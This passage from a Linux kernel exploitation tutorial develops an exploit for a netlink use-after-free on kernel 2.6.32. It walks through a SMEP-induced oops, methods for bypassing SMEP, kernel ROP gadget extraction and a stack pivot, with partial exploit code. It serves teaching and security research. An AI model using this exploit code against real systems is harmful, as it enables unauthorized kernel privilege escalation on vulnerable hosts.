      g_uland_wq_elt.func = (wait_queue_func_t) &payload; // <----- userland addr instead of PANIC_ADDR
      g_uland_wq_elt.task_list.next = (struct list_head*)&g_fake_next_elt;
      g_uland_wq_elt.task_list.prev = (struct list_head*)&g_fake_next_elt;
      printf("[+] g_uland_wq_elt addr = %p\n", &g_uland_wq_elt);
      printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt.func);
    
      return 0;
    }
    
    typedef void (*panic)(const char *fmt, ...);
    
    // The following code is executed in Kernel Mode.
    static int payload(void)
    {
      ((panic)(PANIC_ADDR))("");  // called from kernel land
    
      // need to be different than zero to exit list_for_each_entry_safe() loop
      return 555; 
    }
    
[/code]

The previous diagram becomes:

<img src='img/Temp2_4915.png' width='399' height='721' />

Try to launch it, and...

[code]

    [  124.962677] BUG: unable to handle kernel paging request at 00000000004014c4
    [  124.962923] IP: [<00000000004014c4>] 0x4014c4
    [  124.963039] PGD 1e3df067 PUD 1abb6067 PMD 1b1e6067 PTE 111e3025
    [  124.963261] Oops: 0011 [#1] SMP 
    ...
    [  124.966733] RIP: 0010:[<00000000004014c4>]  [<00000000004014c4>] 0x4014c4
    [  124.966810] RSP: 0018:ffff88001b533e60  EFLAGS: 00010012
    [  124.966851] RAX: 0000000000602880 RBX: 0000000000602898 RCX: 0000000000000000
    [  124.966900] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000602880
    [  124.966948] RBP: ffff88001b533ea8 R08: 0000000000000000 R09: 00007f919c472700
    [  124.966995] R10: 00007ffd8d9393f0 R11: 0000000000000202 R12: 0000000000000001
    [  124.967043] R13: ffff88001bdf2ab8 R14: 0000000000000000 R15: 0000000000000000
    [  124.967090] FS:  00007f919cc3c700(0000) GS:ffff880003200000(0000) knlGS:0000000000000000
    [  124.967141] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    [  124.967186] CR2: 00000000004014c4 CR3: 000000001d01a000 CR4: 00000000001407f0
    [  124.967264] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
    [  124.967334] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
    [  124.967385] Process exploit (pid: 2447, threadinfo ffff88001b530000, task ffff88001b4cd280)
    [  124.968804] Stack:
    [  124.969510]  ffffffff81061909 ffff88001b533e78 0000000100000001 ffff88001b533ee8
    [  124.969629] <d> ffff88001bdf2ab0 0000000000000286 0000000000000001 0000000000000001
    [  124.970492] <d> 0000000000000000 ffff88001b533ee8 ffffffff810665a8 0000000100000000
    [  124.972289] Call Trace:
    [  124.973034]  [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
    [  124.973898]  [<ffffffff810665a8>] __wake_up+0x48/0x70
    [  124.975251]  [<ffffffff814b81cc>] netlink_setsockopt+0x13c/0x1c0
    [  124.976069]  [<ffffffff81475a2f>] sys_setsockopt+0x6f/0xc0
    [  124.976721]  [<ffffffff8100b1a2>] system_call_fastpath+0x16/0x1b
    [  124.977382] Code:  Bad RIP value.
    [  124.978107] RIP  [<00000000004014c4>] 0x4014c4
    [  124.978770]  RSP <ffff88001b533e60>
    [  124.979369] CR2: 00000000004014c4
    [  124.979994] Tainting kernel with flag 0x7
    [  124.980573] Pid: 2447, comm: exploit Not tainted 2.6.32
    [  124.981147] Call Trace:
    [  124.981720]  [<ffffffff81083291>] ? add_taint+0x71/0x80
    [  124.982289]  [<ffffffff81558dd4>] ? oops_end+0x54/0x100
    [  124.982904]  [<ffffffff810527ab>] ? no_context+0xfb/0x260
    [  124.983375]  [<ffffffff81052a25>] ? __bad_area_nosemaphore+0x115/0x1e0
    [  124.983994]  [<ffffffff81052bbe>] ? bad_area_access_error+0x4e/0x60
    [  124.984445]  [<ffffffff81053172>] ? __do_page_fault+0x282/0x500
    [  124.985055]  [<ffffffff8106d432>] ? default_wake_function+0x12/0x20
    [  124.985476]  [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
    [  124.986020]  [<ffffffff810665b3>] ? __wake_up+0x53/0x70
    [  124.986449]  [<ffffffff8155adae>] ? do_page_fault+0x3e/0xa0
    [  124.986957]  [<ffffffff81558055>] ? page_fault+0x25/0x30                 // <------
    [  124.987366]  [<ffffffff81061909>] ? __wake_up_common+0x59/0x90
    [  124.987892]  [<ffffffff810665a8>] ? __wake_up+0x48/0x70
    [  124.988295]  [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0
    [  124.988781]  [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0
    [  124.989231]  [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
    [  124.990091] ---[ end trace 2c697770b8aa7d76 ]---
    
[/code]

Oops\! As we can see in the call trace, it didn't quite hit the mark \(the
step 3 failed\)\! We will meet this kind of trace quite a lot, we better
understand how to read it.

## Understanding Page Fault Trace

Let's analyze the previous trace. This kind of trace comes from a **page fault
exception**. That is, an exception generated by the CPU itself \(i.e.
hardware\) while trying to access memory.

Under "normal" circumstances, a page fault exception can occur when:

  * the CPU tries to access a page that is not present in RAM \(legal access\)
  * the access is "illegal": writing to read-only page, executing NX page, address does not belong to a _virtual memory area \(VMA\)_ , etc.

While being an "exception" CPU-wise, this actually occurs quite often during
normal program life cycle. For instance, when you allocate memory with
_mmap\(\)_ , the kernel does not allocate _physical_ memory until you access
it the very first time. This is called **Demand Paging**. This first access
provokes a page fault, and it is the _page fault exception handler_ that
actually allocates a page frame. That's why you can virtually allocate more
memory than the actual physical RAM \(until you access it\).

The following diagram \(from _Understanding the Linux Kernel_\) shows a
simplified version of the page fault exception handler:

<img src='img/Temp2_4907.png' width='428' height='338' />

As we can see, **if an illegal access occurs while being in Kernel Land, it
can crash the kernel**. This is where we are right now.

[code]

    [  124.962677] BUG: unable to handle kernel paging request at 00000000004014c4
    [  124.962923] IP: [<00000000004014c4>] 0x4014c4
    [  124.963039] PGD 1e3df067 PUD 1abb6067 PMD 1b1e6067 PTE 111e3025
    [  124.963261] Oops: 0011 [#1] SMP 
    ...
    [  124.979369] CR2: 00000000004014c4
    
[/code]

The previous trace has a lot of information explaining the reason of the page
fault exception. The **CR2 register** \(same as IP here\) holds the faulty
address.

In our case, the MMU \(hardware\) failed to access memory address
**0x00000000004014c4** \(the _payload\(\)_ address\). Because _IP_ also points
to it, we know that an exception is generated while trying to execute the
**curr- >func\(\)** instruction in _\_\_wake\_up\_common\(\)_ :

First, let's focus on the **error code** which is "0x11" in our case. The
_error code_ is a 64-bit value where the following bits can be set/clear:

[code]

    // [arch/x86/mm/fault.c]
    
    /*
     * Page fault error code bits:
     *
     *   bit 0 ==    0: no page found   1: protection fault
     *   bit 1 ==    0: read access     1: write access
     *   bit 2 ==    0: kernel-mode access  1: user-mode access
     *   bit 3 ==               1: use of reserved bit detected
     *   bit 4 ==               1: fault was an instruction fetch
     */
    enum x86_pf_error_code {
    
        PF_PROT     =       1 << 0,
        PF_WRITE    =       1 << 1,
        PF_USER     =       1 << 2,
        PF_RSVD     =       1 << 3,
        PF_INSTR    =       1 << 4,
    };
    
[/code]

That is, our _error\_code_ is:

[code]

    ((PF_PROT | PF_INSTR) & ~PF_WRITE) & ~PF_USER
    
[/code]

In other words, the page fault occurs:

  * because of a **protection fault** \(_PF\_PROT_ is set\)
  * during an **instruction fetch** \(_PF\_INSTR_ is set\)
  * implying a **read access** \(_PF\_WRITE_ is clear\)
  * in **kernel-mode** \(_PF\_USER_ is clear\)

Since the page where the faulty address belongs is _present_ \(_PF\_PROT_ is
set\), a **Page Table Entry \(PTE\)** exists. The later describes two things:

  * _Page Frame Number_ \(PFN\)
  * **Page Flags** like access rights, page is present status, User/Supervisor page, etc.

In our case, the PTE value is **0x111e3025** :

[code]

    [  124.963039] PGD 1e3df067 PUD 1abb6067 PMD 1b1e6067 PTE 111e3025
    
[/code]

If we mask out the PFN part of this value, we get **0b100101** \(0x25\). Let's
code a basic program to extract information from the PTE's flags value:

[code]

    #include <stdio.h>
    
    #define __PHYSICAL_MASK_SHIFT 46
    #define __PHYSICAL_MASK ((1ULL << __PHYSICAL_MASK_SHIFT) - 1)
    #define PAGE_SIZE 4096ULL
    #define PAGE_MASK (~(PAGE_SIZE - 1))
    #define PHYSICAL_PAGE_MASK (((signed long)PAGE_MASK) & __PHYSICAL_MASK)
    #define PTE_FLAGS_MASK (~PHYSICAL_PAGE_MASK)
    
    int main(void)
    {
      unsigned long long pte = 0x111e3025;
      unsigned long long pte_flags = pte & PTE_FLAGS_MASK;
    
      printf("PTE_FLAGS_MASK  = 0x%llx\n", PTE_FLAGS_MASK);
      printf("pte             = 0x%llx\n", pte);
      printf("pte_flags       = 0x%llx\n\n", pte_flags);
    
      printf("present   = %d\n", !!(pte_flags & (1 << 0)));
      printf("writable  = %d\n", !!(pte_flags & (1 << 1)));
      printf("user      = %d\n", !!(pte_flags & (1 << 2)));
      printf("acccessed = %d\n", !!(pte_flags & (1 << 5)));
      printf("NX        = %d\n", !!(pte_flags & (1ULL << 63)));
    
      return 0;
    }
    
[/code]

**NOTE** : If you wonder where all those constants come from, search for the
_PTE\_FLAGS\_MASK_ and _\_PAGE\_BIT\_USER_ macros in
_arch/x86/include/asm/pgtable\_types.h_. It simply matches the Intel
documentation \(Table 4-19\).

This program gives:

[code]

    PTE_FLAGS_MASK  = 0xffffc00000000fff
    pte             = 0x111e3025
    pte_flags       = 0x25
    
    present   = 1
    writable  = 0
    user      = 1
    acccessed = 1
    NX        = 0
    
[/code]

Let's match this information with the previous _error code_ :

  1. The page the kernel is trying to access is already present, so the fault comes from an **access right issue**
  2. We are NOT trying to write to a read-only page
  3. The NX bit is NOT set, so the page is executable
  4. The page is user accessible which means, the kernel can also access it

So, what's wrong?

In the previous list, the point _4\)_ is partially true. The kernel has the
right to access User Mode pages but **it cannot execute it**\! The reason
being:

**Supervisor Mode Execution Prevention \(SMEP\).**

Prior to SMEP introduction, the kernel had all rights to do anything with
userland pages. In Supervisor Mode \(i.e. Kernel Mode\), the kernel was
allowed to both read/write/execute userland AND kernel pages. This is not true
anymore\!

SMEP exists since the _"Ivy Bridge"_ Intel Microarchitecture \(core i7, core
i5, etc.\) and the Linux kernel supports it since this patch. It adds a
security mechanism that is enforced in hardware.

Let's look at the section _"4.6.1 - Determination of Access Rights"_ from
Intel System Programming Guide Volume 3a which gives the complete sequence
performed while checking if accessing a memory location is allowed or not. If
not, a page fault exception is generated.

Since the fault occurs during the _setsockopt\(\)_ system call, we are in
supervisor-mode:

[code]

    The following items detail how paging determines access rights:
    
    • For supervisor-mode accesses:
      ... cut ...
      — Instruction fetches from user-mode addresses.
        Access rights depend on the values of CR4.SMEP:
        • If CR4.SMEP = 0, access rights depend on the paging mode and the value of IA32_EFER.NXE:
          ... cut ...
        • If CR4.SMEP = 1, instructions may not be fetched from any user-mode address.
    
[/code]

Let's check the status of the **CR4 register**. The bit in _CR4_ which
represents the SMEP status is the bit 20:

<img src='img/Temp2_4906.png' width='888' height='218' />

In Linux, the following macro is used:

[code]

    // [arch/x86/include/asm/processor-flags.h]
    
    #define X86_CR4_SMEP    0x00100000 /* enable SMEP support */
    
[/code]

Hence:

[code]

    CR4 = 0x00000000001407f0
                      ^
                      +------ SMEP is enabled
    
[/code]

That's it\! **SMEP just does its job denying us to return into userland code
from kernel land**.

Fortunately, _SMAP_ \(Supervisor Mode Access Protection\), which forbids
access to userland page from Kernel Mode, is disabled. It would force us to
use another exploitation strategy \(i.e. can't use a wait queue element in
userland\).

**WARNING** : Some virtualization software \(like _Virtual Box_\) does not
support SMEP. We don't know if it supports it at the time of writing. If the
SMEP flag is not enabled in your lab, you might consider using another
virtualization software \(hint: _vmware_ supports it\).

In this section, we analyzed in deeper detail what information can be
extracted from a page fault trace. It is important to understand it as we
might need to explore it again later on \(e.g. _prefaulting_\). In addition,
we understood why the exception was generated because of SMEP and how to
detect it. Don't worry, like any security protection mechanism, there is a
workaround :-\).

* * *
# Defeating SMEP Strategies

In the previous section, we tried to jump into userland code to execute the
payload of our choice \(i.e. arbitrary code execution\). Unfortunately, we've
been blocked by SMEP which provoked an unrecoverable page fault making the
kernel crash.

In this section, we will present different strategies that can be used to
defeat SMEP.

## Don't ret2user

The most obvious way to bypass SMEP is to not return to user code at all and
keep executing kernel code.

However, it is very unlikely that we find a single function in the kernel
that:

  * elevates our privileges and/or other "profits"
  * repairs the kernel
  * returns a non-zero value \(required by the bug\)

Note in the current exploit, we are not actually bounded to a "single
function". The reason is: **we control the _func_ field since it is located in
userland**. What we could do here is, calling one kernel function, modifying
_func_ and calling another function, etc. However, it brings two issues:

  1. We can't have the return value of the invoked function
  2. We do not "directly" control the invoked function parameters

There are tricks to exploit the arbitrary call this way, hence **don't need to
do any ROP** , allowing a more "targetless" exploit. Those are out-of-topic
here as we want to present a "common" way to use arbitrary calls.

Just like userland exploitation, we can use _return-oriented programming_
technique. The problem is: writing a complex ROP-chain can be tedious \(yet
automatable\). This will work nevertheless. Which leads us to...

## Disabling SMEP

As we've seen in the previous section, the status of SMEP \(CR4.SMEP\) is
checked during a memory access. More specifically, when the CPU fetches an
instruction belonging to userspace while in Kernel \(Supervisor\) mode. If we
can **flip this bit in CR4** , we will be able to ret2user again.

This is what we will do in the exploit. First, we disable the SMEP bit using
ROP, and then jump to user code. This will allow us to write our payload in C
language.

## ret2dir

The _ret2dir_ attack exploits the fact that every user page has an equivalent
address in kernel-land \(called "synonyms"\). Those synonyms are located in
the **physmap**. The _physmap_ is a direct mapping of all physical memory. The
virtual address of the _physmap_ is 0xffff880000000000 which maps the _page
frame number \(PFN\)_ zero \(0xffff880000001000 is PFN\#1, etc.\). The term
"physmap" seems to have appeared with the ret2dir attack, some people call it
"linear mapping".

Alas, it is more complex to do it nowadays because **/proc/ <PID>/pagemap** is
not world readable anymore. It allowed to find the PFN of userland page, hence
find the virtual address in the physmap.

The PFN of a userland address _uaddr_ can be retrieved by seeking the
_pagemap_ file and read an 8-byte value at offset:

[code]

    PFN(uaddr) = (uaddr/4096) * sizeof(void*)
    
[/code]

If you want to know more about this attack, see ret2dir: Rethinking Kernel
Isolation.

## Overwriting Paging-Structure Entries

If we look again at the _Determination of Access Rights \(4.6.1\)_ section in
the Intel documentation, we get:

[code]

    Access rights are also controlled by the mode of a linear address as specified by
    the paging-structure entries controlling the translation of the linear address.
    
    If the U/S flag (bit 2) is 0 in at least one of the paging-structure entries, the
    address is a supervisor-mode address. Otherwise, the address is a user-mode address.
    
[/code]

The address we are trying to jump to is considered as a _user-mode address_
since the **U/S flag is set**.

One way to bypass SMEP is to overwrite **at least one paging-structure entry**
\(PTE, PMD, etc.\) and clear bit 2. It implies that we know where this
PGD/PUD/PMD/PTE is located in memory. This kind of attack is easier to do with
an **arbitrary read/write primitives**.

* * *
# Finding Gadgets

Finding ROP gadgets in Kernel is similar to userland exploitation. First we
need the **vmlinux** binary and \(optionally\) the **System.map** files that
we already extracted in part 3. Since _vmlinux_ is an **ELF binary** , we can
use ROPgadget.

However, _vmlinux_ is not a typical ELF binary. It embeds special sections. If
you look at the various sections using **readelf** you can see that there are
a lot of them:

[code]

    $ readelf -l vmlinux-2.6.32 
    
    Elf file type is EXEC (Executable file)
    Entry point 0x1000000
    There are 6 program headers, starting at offset 64
    
    Program Headers:
      Type           Offset             VirtAddr           PhysAddr
                     FileSiz            MemSiz              Flags  Align
      LOAD           0x0000000000200000 0xffffffff81000000 0x0000000001000000
                     0x0000000000884000 0x0000000000884000  R E    200000
      LOAD           0x0000000000c00000 0xffffffff81a00000 0x0000000001a00000
                     0x0000000000225bd0 0x0000000000225bd0  RWE    200000
      LOAD           0x0000000001000000 0xffffffffff600000 0x0000000001c26000
                     0x00000000000008d8 0x00000000000008d8  R E    200000
      LOAD           0x0000000001200000 0x0000000000000000 0x0000000001c27000
                     0x000000000001ff58 0x000000000001ff58  RW     200000
      LOAD           0x0000000001247000 0xffffffff81c47000 0x0000000001c47000
                     0x0000000000144000 0x0000000000835000  RWE    200000
      NOTE           0x0000000000760f14 0xffffffff81560f14 0x0000000001560f14
                     0x000000000000017c 0x000000000000017c         4
    
     Section to Segment mapping:
      Segment Sections...
       00     .text .notes __ex_table .rodata __bug_table .pci_fixup __ksymtab __ksymtab_gpl __kcrctab __kcrctab_gpl __ksymtab_strings __init_rodata __param __modver 
       01     .data 
       02     .vsyscall_0 .vsyscall_fn .vsyscall_gtod_data .vsyscall_1 .vsyscall_2 .vgetcpu_mode .jiffies .fence_wdog_jiffies64 
       03     .data.percpu 
       04     .init.text .init.data .x86_cpu_dev.init .parainstructions .altinstructions .altinstr_replacement .exit.text .smp_locks .data_nosave .bss .brk 
       05     .notes 
    
[/code]

In particular, it has a **.init.text** section which seems executable \(use
the **-t** modifier\):

[code]

    [25] .init.text
           PROGBITS               PROGBITS         ffffffff81c47000  0000000001247000  0
           000000000004904a 0000000000000000  0                 16
           [0000000000000006]: ALLOC, EXEC
    
[/code]

This section describes code that is only used during the boot process. Code
belonging to this section can be retrieved with the **\_\_init** preprocessor
macro defined here:

[code]

    #define __init      __section(.init.text) __cold notrace
    
[/code]

For instance:

[code]

    // [mm/slab.c]
    
    /*
     * Initialisation.  Called after the page allocator have been initialised and
     * before smp_init().
     */
    void __init kmem_cache_init(void)
    {
      // ... cut ...
    }
    
[/code]

**Once the initialization phase is complete, this code is unmapped from
memory**. In other words, using a gadget belonging to this section will result
in a page fault in kernel land, making it crash \(cf. previous section\).

Because of this \(other special executable sections have other traps\), we
will avoid searching gadgets in those "special sections" and limit the
research to the ".text" section only. Start and ending addresses can be found
with the **\_text** and **\_etext** symbol:

[code]

    $ egrep " _text$| _etext$" System.map-2.6.32                                          
    ffffffff81000000 T _text
    ffffffff81560f11 T _etext
    
[/code]

Or with _readelf_ \(_-t_ modifier\):

[code]

      [ 1] .text
           PROGBITS               PROGBITS         ffffffff81000000  0000000000200000  0
           0000000000560f11 0000000000000000  0                 4096
           [0000000000000006]: ALLOC, EXEC
    
[/code]

Let's extract all gadgets with:

[code]

    $ ./ROPgadget.py --binary vmlinux-2.6.32 --range 0xfffffff81000000-0xffffffff81560f11 | sort > gadget.lst
    
[/code]

**WARNING** : Gadgets from _\[\_text; \_etext\[_ aren't 100% guaranteed to be
valid at runtime for various reasons. You should inspect memory before
executing the ROP-chain \(cf. "Debugging the kernel with GDB"\).

Alright, we are ready to ROP.

* * *
# Stack Pivoting

In the previous sections we saw that:

  * the kernel crashes \(page fault\) while trying to jump to user-land code because of SMEP
  * SMEP can be disabled by flipping a bit in CR4
  * we can only use gadgets in the _.text_ section and extract them with _ROPgadget_

In the "Core Concept \#4" section, we saw that while executing a syscall code,
the kernel stack \(rsp\) is pointing to the current _kernel thread stack_. In
this section, we will use our arbitrary call primitive to pivot the stack to a
userland one. Doing so will allow us to control a "fake" stack and execute the
ROP-chain of our choice.

## Analyze Attacker-Controlled Data

The _\_\_wake\_up\_common\(\)_ function has been analyzed in deeper details in
part 3. As a reminder, the code is:

[code]

    static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
                int nr_exclusive, int wake_flags, void *key)
    {
        wait_queue_t *curr, *next;
    
        list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
            unsigned flags = curr->flags;
    
            if (curr->func(curr, mode, wake_flags, key) &&
                    (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
                break;
        }
    }
    
[/code]

Which is invoked with \(we almost fully control the content of _nlk_ with
reallocation\):

[code]

    __wake_up_common(&nlk->wait, TASK_INTERRUPTIBLE, 1, 0, NULL)
    
[/code]

In particular, our arbitrary call primitive is invoked here:

[code]

    ffffffff810618f7:       44 8b 20                mov    r12d,DWORD PTR [rax]       // "flags = curr->flags"
    ffffffff810618fa:       4c 89 f1                mov    rcx,r14                    // 4th arg: "key"
    ffffffff810618fd:       44 89 fa                mov    edx,r15d                   // 3nd arg: "wake_flags"
    ffffffff81061900:       8b 75 cc                mov    esi,DWORD PTR [rbp-0x34]   // 2nd arg: "mode"
    ffffffff81061903:       48 89 c7                mov    rdi,rax                    // 1st arg: "curr"
    ffffffff81061906:       ff 50 10                call   QWORD PTR [rax+0x10]       // ARBITRARY CALL PRIMITIVE
    
[/code]

Let's relaunch the exploit:

[code]

    ...
    [+] g_uland_wq_elt addr = 0x602860
    [+] g_uland_wq_elt.func = 0x4014c4
    ...
    
[/code]

The register status when crashing is:

[code]

    [  453.993810] RIP: 0010:[<00000000004014c4>]  [<00000000004014c4>] 0x4014c4
                              ^ &payload()
    [  453.993932] RSP: 0018:ffff88001b527e60  EFLAGS: 00010016
                             ^ kernel thread stack top
    [  453.994003] RAX: 0000000000602860 RBX: 0000000000602878 RCX: 0000000000000000
                        ^ curr                ^ &task_list.next     ^ "key" arg
    [  453.994086] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000602860
                        ^ "wake_flags" arg    ^ "mode" arg          ^ curr
    [  453.994199] RBP: ffff88001b527ea8 R08: 0000000000000000 R09: 00007fc0fa180700
                        ^ thread stack base   ^ "key" arg           ^ ???
    [  453.994275] R10: 00007fffa3c8b860 R11: 0000000000000202 R12: 0000000000000001
                        ^ ???                 ^ ???                 ^ curr->flags
    [  453.994356] R13: ffff88001bdde6b8 R14: 0000000000000000 R15: 0000000000000000
                        ^ nlk->wq [REALLOC]   ^ "key" arg           ^ "wake_flags" arg
    
[/code]

Wow... It seems we are really lucky\! Both **rax** , **rbx** and **rdi** point
to our userland wait queue element. Of course, this is not fortuitous. It is
another reason why we choose this arbitrary call primitive in the first place.

## The Pivot

Remember **the stack is only defined by the _rsp_ register**. Let's use one of
our controlled registers to overwrite it. A common gadget used in this kind of
situation is:

[code]

    xchg rsp, rXX ; ret
    
[/code]

It exchanges the value of _rsp_ with a controlled register while saving it.
Hence, it helps to restore the stack pointer afterward.

**NOTE** : You _might_ use a _mov_ gadget instead but you will lose the
current stack pointer value, hence not be able to repair the stack afterward.
This is not exactly true... You can repair it by using RBP or the
_kernel\_stack_ variable \(cf. Core Concepts \#4\) and add a "fixed offset"
since the stack layout is known and deterministic. The _xchg_ instruction just
make things simpler.

[code]

    $ egrep "xchg [^;]*, rsp|xchg rsp, " ranged_gadget.lst.sorted
    0xffffffff8144ec62 : xchg rsi, rsp ; dec ecx ; cdqe ; ret
    
[/code]

Looks like we only have 1 gadget that does this in our kernel image. In
addition, the _rsi_ value is 0x0000000000000001 \(and we can't control it\).
This **implies mapping a page at address zero which is not possible anymore**
to prevent "NULL-deref" bugs exploitation.

Let's extend the research to the "esp" register which brings much more
results:

[code]

    $ egrep "(: xchg [^;]*, esp|: xchg esp, ).*ret$" ranged_gadget.lst.sorted
    ...
    0xffffffff8107b6b8 : xchg eax, esp ; ret
    ...
    
[/code]

However, the _xchg_ instruction here works on 32-bit registers. That is, **the
32 most significant bits will be zeroed\!**

If you are not convinced yet, just run \(and debug\) the following program:

[code]

    # Build-and-debug with: as test.S -o test.o; ld test.o; gdb ./a.out
    
    .text
    .global _start
    
    _start:
      mov $0x1aabbccdd, %rax
      mov $0xffff8000deadbeef, %rbx
      xchg %eax, %ebx                 # <---- check "rax" and "rbx" past this instruction (gdb)
    
[/code]

That is, after executing the stack pivot gadget, the 64-bit registers become:

  * **rax** = 0xffff88001b527e60 & 0x00000000ffffffff = 0x000000001b527e60
  * **rsp** = 0x0000000000602860 & 0x00000000ffffffff = 0x0000000000602860

This is actually not a problem because of the virtual address mapping where
userland address ranges from 0x0 to 0x00007ffffffff000 \(cf. Core Concept
\#4\). In other words, any 0x**00000000** XXXXXXXX address is a valid userland
one.

The stack is now pointing to userland where we can control data and starts our
ROP chain. The register state before and after executing the stack pivot
gadget are:

<img src='img/Temp2_4914.png' width='888' height='842' />

**ERRATA** : _RSP_ is pointing 8 bytes after _RDI_ since the _ret_ instruction
"pop" a value before executing it \(i.e. should point to _private_\). Please
see the next section.

**NOTE** : _rax_ is pointing in a "random" userland address since it only
holds the lowest significant bytes of the previous _rsp_ value.

## Dealing with Aliasing

Before going further there are few things to consider:

  * the new "fake" stack is now **aliasing** with the wait queue element object \(in userland\).
  * since the 32 highest significant bits are zero'ed, the fake stack must be mapped at an address lower than 0x100000000.

Right now, the **g\_uland\_wq\_elt** is declared globally \(i.e. the _bss_\).
Its address is "0x602860" which is lower than 0x100000000.

Aliasing can be an issue as it:

  * forces us to use a **stack lifting** gadget to "jump over" the _func_ gadget \(i.e. don't execute the "stack pivot" gadget again\)
  * imposes constraints on the gadgets as the wait queue element must still be valid \(in _\_\_wake\_up\_common\(\)_\)

There are two ways to deal with this "aliasing" issue:

  1. Keep the fake stack and wait queue aliased and use a **stack lifting** with constrained gadgets
  2. Move _g\_uland\_wq\_elt_ into "higher" memory \(after the 0x100000000 mark\).

Both techniques works.

For instance, if you want to implement the first way \(we won't\), the next
gadget address must have its lowest significant bits set because of the
_break_ condition in _\_\_wake\_up\_common\(\)_ :

[code]

    (flags & WQ_FLAG_EXCLUSIVE)   // WQ_FLAG_EXCLUSIVE == 1
    
[/code]

In this particular example, this first condition can be easily overcomed by
using a _NOP_ gadget which has its least significant bit set:

[code]

    0xffffffff8100ae3d : nop ; nop ; nop ; ret    // <---- valid gadget
    0xffffffff8100ae3e : nop ; nop ; ret          // <---- BAD GADGET
    
[/code]

Instead, **we will implement the second** as we think it is more
"interesting", less _gadget-dependent_ and exposes a technique that is
sometimes used during exploit \(_having addresses relative to each other_\).
In addition, we will have more choices in our ROP-chain gadgets as they will
be less constrained because of the aliasing.

In order to declare our \(userland\) wait queue elements at an arbitrary
location, we will use the **mmap\(\)** syscall with the _MAX\_FIXED_ argument.
We will do the same for the "fake stack". **Both are linked with the following
property** :

[code]

    ULAND_WQ_ADDR = FAKE_STACK_ADDR + 0x100000000
    
[/code]

In other words:

[code]

    (ULAND_WQ_ADDR & 0xffffffff) == FAKE_STACK_ADDR
     ^ pointed by RAX before XCHG   ^ pointed by RSP after XCHG
    
[/code]

This is implemented in _allocate\_uland\_structs\(\)_ :

[code]

    static int allocate_uland_structs(void)
    {
      // arbitrary value, must not collide with already mapped memory (/proc/<PID>/maps)
      void *starting_addr = (void*) 0x20000000;
    
      // ... cut ...
    
      g_fake_stack = (char*) _mmap(starting_addr, 4096, PROT_READ|PROT_WRITE,
        MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
    
      // ... cut ...
    
      g_uland_wq_elt = (struct wait_queue*) _mmap(g_fake_stack + 0x100000000, 4096, PROT_READ|PROT_WRITE,
        MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
    
      // ... cut ...
    }
    
[/code]

**WARNING** : Using _MAP\_FIXED_ might "overlap" existing memory\! For a
better implementation, we should check that the _starting\_addr_ address is
not already used \(e.g. check _/proc/ <PID>/maps_\)\! Look at the _mmap\(\)_
syscall implementation, you will learn a lot. This is a **great** exercise.

That is, after executing the "stack pivot gadget", our exploit memory layout
will be:

<img src='img/Temp2_4919.png' width='533' height='610' />

Let's update the exploit code \(warning: _g\_uland\_wq\_elt_ is a pointer now,
edit the code accordingly\):

[code]

    // 'volatile' forces GCC to not mess up with those variables
    static volatile struct list_head  g_fake_next_elt;
    static volatile struct wait_queue *g_uland_wq_elt;
    static volatile char *g_fake_stack;
    
    // kernel functions addresses
    #define PANIC_ADDR ((void*) 0xffffffff81553684)
    
    // kernel gadgets in [_text; _etext]
    #define XCHG_EAX_ESP_ADDR ((void*) 0xffffffff8107b6b8)
    
    static int payload(void);
    
    // ----------------------------------------------------------------------------
    
    static void build_rop_chain(uint64_t *stack)
    {
      memset((void*)stack, 0xaa, 4096);
    
      *stack++ = 0;
      *stack++ = 0xbbbbbbbbbbbbbbbb;
      *stack++ = 0xcccccccccccccccc;
      *stack++ = 0xdddddddddddddddd;
    
      // FIXME: implement the ROP-chain
    }
    
    // ----------------------------------------------------------------------------
    
    static int allocate_uland_structs(void)
    {
      // arbitrary value, must not collide with already mapped memory (/proc/<PID>/maps)
      void *starting_addr = (void*) 0x20000000;
      size_t max_try = 10;
    
    retry:
      if (max_try-- <= 0)
      {
        printf("[-] failed to allocate structures at fixed location\n");
        return -1;
      }
    
      starting_addr += 4096;
    
      g_fake_stack = (char*) _mmap(starting_addr, 4096, PROT_READ|PROT_WRITE,
        MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
      if (g_fake_stack == MAP_FAILED)
      {
        perror("[-] mmap");
        goto retry;
      }
    
      g_uland_wq_elt = (struct wait_queue*) _mmap(g_fake_stack + 0x100000000, 4096, PROT_READ|PROT_WRITE,
        MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0);
      if (g_uland_wq_elt == MAP_FAILED)
      {
        perror("[-] mmap");
        munmap((void*)g_fake_stack, 4096);
        goto retry;
      }
    
      // paranoid check
      if ((char*)g_uland_wq_elt != ((char*)g_fake_stack + 0x100000000))
      {
        munmap((void*)g_fake_stack, 4096);
        munmap((void*)g_uland_wq_elt, 4096);
        goto retry;
      }
    
      printf("[+] userland structures allocated:\n");
      printf("[+] g_uland_wq_elt = %p\n", g_uland_wq_elt);
      printf("[+] g_fake_stack   = %p\n", g_fake_stack);
    
      return 0;
    }
    
    // ----------------------------------------------------------------------------
    
    static int init_realloc_data(void)
    {
      // ... cut ...
    
      nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt->task_list;
      nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt->task_list;
    
      // ... cut ...
    
      g_uland_wq_elt->func = (wait_queue_func_t) XCHG_EAX_ESP_ADDR; // <----- STACK PIVOT!
    
      // ... cut ...
    }
    
    // ----------------------------------------------------------------------------
    
    int main(void)
    {
